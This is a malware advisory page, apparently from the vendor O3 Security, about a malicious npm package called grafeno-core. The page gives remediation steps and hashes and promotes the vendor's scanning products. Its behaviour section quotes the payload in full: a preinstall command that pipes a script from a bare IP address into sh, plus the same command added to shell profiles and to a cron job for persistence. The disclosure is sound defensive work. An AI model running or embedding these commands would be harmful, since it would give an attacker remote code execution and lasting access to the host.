Which versions of grafeno-core are malicious?

The following npm versions of grafeno-core are flagged malicious: 1.0.0, 1.0.1. Treat any of these as compromised.

How do I remediate grafeno-core if I installed it?

Remove grafeno-core from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed grafeno-core — how do I know if it already compromised me?

If grafeno-core was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is grafeno-core part of a known attack campaign?

Yes — grafeno-core is associated with the IN-MAL-2026-019058, IN-MAL-2026-019115 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find grafeno-core across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for grafeno-core (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging grafeno-core across your stack and pipelines.

Malicious package

grafeno-corenpm

grafeno-core is a confirmed malicious npm package (MAL-2026-15505) that executes malicious code on install (malicious versions 1.0.0, 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in grafeno-core (npm)

MAL-2026-15505

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall grafeno-core

What this malware does

The package's preinstall lifecycle script runs curl -s http://216.126.236.46/x.sh | sh at npm install time, fetching and executing an attacker-controlled shell payload from a plain-HTTP bare-IP host. The same preinstall appends curl -s 216.126.236.46/x.sh|sh to ~/.bashrc and ~/.profile and installs a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh|sh, re-fetching and executing the remote payload every 30 minutes for persistent host access. The advertised entry point index.js is a two-line stub exporting version and init, with no real functionality — the manifest's preinstall is the entire payload.

Malicious versions

2 flagged

1.0.01.0.1

Indicators of compromise (SHA-256)

19a2990abd7b4447444a42f96636f738449235f9d8760191978e904d028c759e

3ba74dd8ae36cb8f592f3057a5a3f95ad630576e2cab9b0112fa97d2a773385f

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for grafeno-core (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging grafeno-core across your stack and pipelines.
If you installed it — respond
Remove grafeno-core from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If grafeno-core was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks grafeno-core before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. grafeno-core on npm has been identified as a malicious package (versions 1.0.0, 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-019058IN-MAL-2026-019115

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks grafeno-core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database